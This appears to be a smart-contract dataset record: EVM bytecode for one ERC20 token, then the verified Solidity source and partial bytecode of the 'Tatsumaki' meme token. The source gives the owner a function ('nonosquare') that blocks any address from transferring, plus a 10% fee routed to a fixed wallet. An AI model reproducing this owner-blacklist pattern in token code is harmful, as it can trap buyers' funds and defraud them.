0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80635aa6e675116100a2578063a457c2d711610071578063a457c2d714610522578063a9059cbb14610588578063ab033ea9146105ee578063dd62ed3e14610632578063f46eccc4146106aa5761010b565b80635aa6e675146103b957806370a082311461040357806395d89b411461045b578063983b2d56146104de5761010b565b80633092afd5116100de5780633092afd51461029d578063313ce567146102e1578063395093511461030557806340c10f191461036b5761010b565b806306fdde0314610110578063095ea7b31461019357806318160ddd146101f957806323b872dd14610217575b600080fd5b610118610706565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015857808201518184015260208101905061013d565b50505050905090810190601f1680156101855780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101df600480360360408110156101a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107a8565b604051808215151515815260200191505060405180910390f35b6102016107c6565b6040518082815260200191505060405180910390f35b6102836004803603606081101561022d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107d0565b604051808215151515815260200191505060405180910390f35b6102df600480360360208110156102b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108a9565b005b6102e96109c7565b604051808260ff1660ff16815260200191505060405180910390f35b6103516004803603604081101561031b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109de565b604051808215151515815260200191505060405180910390f35b6103b76004803603604081101561038157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a91565b005b6103c1610b5e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104456004803603602081101561041957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b84565b6040518082815260200191505060405180910390f35b610463610bcc565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104a3578082015181840152602081019050610488565b50505050905090810190601f1680156104d05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610520600480360360208110156104f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c6e565b005b61056e6004803603604081101561053857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d8c565b604051808215151515815260200191505060405180910390f35b6105d46004803603604081101561059e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e59565b604051808215151515815260200191505060405180910390f35b6106306004803603602081101561060457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e77565b005b6106946004803603604081101561064857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7e565b6040518082815260200191505060405180910390f35b6106ec600480360360208110156106c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611005565b604051808215151515815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561079e5780601f106107735761010080835404028352916020019161079e565b820191906000526020600020905b81548152906001019060200180831161078157829003601f168201915b5050505050905090565b60006107bc6107b5611025565b848461102d565b6001905092915050565b6000600254905090565b60006107dd848484611224565b61089e846107e9611025565b6108998560405180606001604052806028815260200161184960289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061084f611025565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114da9092919063ffffffff16565b61102d565b600190509392505050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461096c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600560009054906101000a900460ff16905090565b6000610a876109eb611025565b84610a8285600160006109fc611025565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159a90919063ffffffff16565b61102d565b6001905092915050565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610b50576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f216d696e7465720000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b610b5a8282611622565b5050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c645780601f10610c3957610100808354040283529160200191610c64565b820191906000526020600020905b815481529060010190602001808311610c4757829003601f168201915b5050505050905090565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d31576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610e4f610d99611025565b84610e4a856040518060600160405280602581526020016118ba6025913960016000610dc3611025565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114da9092919063ffffffff16565b61102d565b6001905092915050565b6000610e6d610e66611025565b8484611224565b6001905092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f3a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60066020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806118966024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611139576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806118016022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806118716025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611330576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806117de6023913960400191505060405180910390fd5b61139b81604051806060016040528060268152602001611823602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114da9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061142e816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159a90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611587576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561154c578082015181840152602081019050611531565b50505050905090810190601f1680156115795780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611618576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6116da8160025461159a90919063ffffffff16565b600281905550611731816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159a90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a723158206269e02e09780aced8ed667dd88431e32aeea515ef3544e61982a72fecb48bf264736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 3,734 |
0x79e01579ec9524722fe4029cce2898a4530c6084
|
/**
*Submitted for verification at Etherscan.io on 2022-05-02
*/
/**
🌪🌪 Tatsumaki
Tatsumaki Web: https://tatsumakierc.com/
Tatsumaki Twitter: https://twitter.com/TatsumakiToken
Tatsumaki Telegram: https://t.me/TatsumakiToken
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Tatsumaki is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "Tatsumaki";
string private constant _symbol = "Tatsumaki";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xE9Ab8Cf05C3Bb7FEF1b82EbF682fd0E92B8D675A);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(20).div(1000);
_maxWalletSize = _tTotal.mul(30).div(1000);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b604051610151919061276e565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612838565b6104b4565b60405161018e9190612893565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b991906128bd565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612a20565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a69565b61060d565b60405161021f9190612893565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612abc565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612b05565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612b4c565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b79565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612abc565b6109dd565b60405161031991906128bd565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612bb5565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d919061276e565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612838565b610c9e565b6040516103da9190612893565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b79565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612bd0565b611380565b60405161046e91906128bd565b60405180910390f35b60606040518060400160405280600981526020017f54617473756d616b690000000000000000000000000000000000000000000000815250905090565b60006104c86104c1611407565b848461140f565b6001905092915050565b600068056bc75e2d63100000905090565b6104eb611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c5c565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c7c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612cda565b91505061057b565b5050565b600061061a8484846115d8565b6106db84610626611407565b6106d68560405180606001604052806028815260200161371160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c611407565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c699092919063ffffffff16565b61140f565b600190509392505050565b6106ee611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c5c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e7611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c5c565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b610899611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c5c565b60405180910390fd5b6000811161093357600080fd5b61096260646109548368056bc75e2d63100000611ccd90919063ffffffff16565b611d4790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac611407565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d91565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dfd565b9050919050565b610a36611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c5c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b89611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c5c565b60405180910390fd5b68056bc75e2d63100000600f8190555068056bc75e2d63100000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f54617473756d616b690000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab611407565b84846115d8565b6001905092915050565b610cc4611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c5c565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f8368056bc75e2d63100000611ccd90919063ffffffff16565b611d4790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd7611407565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e6b565b50565b610e18611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c5c565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d6e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d6310000061140f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612da3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612da3565b6040518363ffffffff1660e01b815260040161109c929190612dd0565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612da3565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff02191690837